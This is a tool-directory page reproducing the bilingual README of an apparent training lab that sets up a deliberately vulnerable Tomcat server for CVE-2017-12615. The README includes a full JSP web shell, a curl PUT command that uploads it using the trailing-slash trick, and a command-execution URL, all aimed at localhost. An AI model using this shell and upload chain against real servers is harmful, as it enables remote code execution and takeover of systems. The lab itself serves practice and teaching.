Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-12615-Home-Lab — CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload Home Lab for Red Teaming, Penetration Testing | Kitploit
Tools/GitHubGitHub/netw0rk7/cve-2017-12615-home-lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRed TeamingLabs & Practice
GitHubnetw0rk7/cve-2017-12615-home-lab

CVE-2017-12615-Home-Lab

CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload Home Lab for Red Teaming, Penetration Testing

View Repository
8 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

ENGLISH BELOW

CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload

image

Lab นี้จำลองช่องโหว่ CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload
เกิดจากการตั้งค่า readonly=false ทำให้สามารถอัปโหลดไฟล์ผ่าน HTTP PUT ได้ รวมถึงไฟล์ .jsp ที่สามารถรันคำสั่ง (RCE)


image

Features

  • Apache Tomcat 7.0.79 (vulnerable)
  • ใช้ DefaultServlet override พร้อมค่า readonly=false
  • สามารถใช้ PUT Upload เพื่อวางไฟล์ .jsp ลงใน ROOT web directory
  • รองรับการ Execute คำสั่งผ่าน web shell
  • หน้าเว็บสไตล์ Industrial พร้อม internal note ที่ลืมลบ (Hint)
  • ระบบสร้าง flag_RANDOM.txt อัตโนมัติทุกครั้งที่ container start
  • ออกแบบสำหรับ CTF / Red Team / Pentest Training

Directory Structure

root@kitploit:~
/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh

การใช้งาน (Run Container)

root@kitploit:~
docker compose build
docker compose up -d

เปิดเว็บ:

root@kitploit:~
http://localhost:8080/

วิธีทดสอบช่องโหว่ CVE-2017-12615

1) สร้างไฟล์ JSP payload

root@kitploit:~
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    String s;
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF

2) อัปโหลดไฟล์ด้วย PUT (ต้องมี / ท้ายชื่อไฟล์)

root@kitploit:~
curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

3) เรียกใช้งาน webshell

root@kitploit:~
http://localhost:8080/shell.jsp?cmd=id

Flag

เก็บไว้ใน:

root@kitploit:~
/tmp/flag_RANDOM.txt

English Version — CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload

This lab simulates CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload, where Apache Tomcat’s DefaultServlet is misconfigured with:

root@kitploit:~
readonly=false

This allows attackers to upload .jsp files via HTTP PUT, enabling remote code execution.


image

Features

  • Vulnerable Apache Tomcat 7.0.79
  • DefaultServlet override with readonly=false
  • PUT Upload → write arbitrary .jsp files into ROOT web directory
  • Supports command execution through JSP shell
  • Industrial-style landing page with a subtle internal hint
  • Auto-generated flag_RANDOM.txt at container startup
  • Fit for CTF, research, and exploit development

Exploitation Example

Upload a JSP shell

root@kitploit:~
curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp

Execute commands

root@kitploit:~
http://localhost:8080/shell.jsp?cmd=id

Flag Location

root@kitploit:~
/tmp/flag_RANDOM.txt

Disclaimer

For educational, research, and authorized penetration testing only.

Download Tool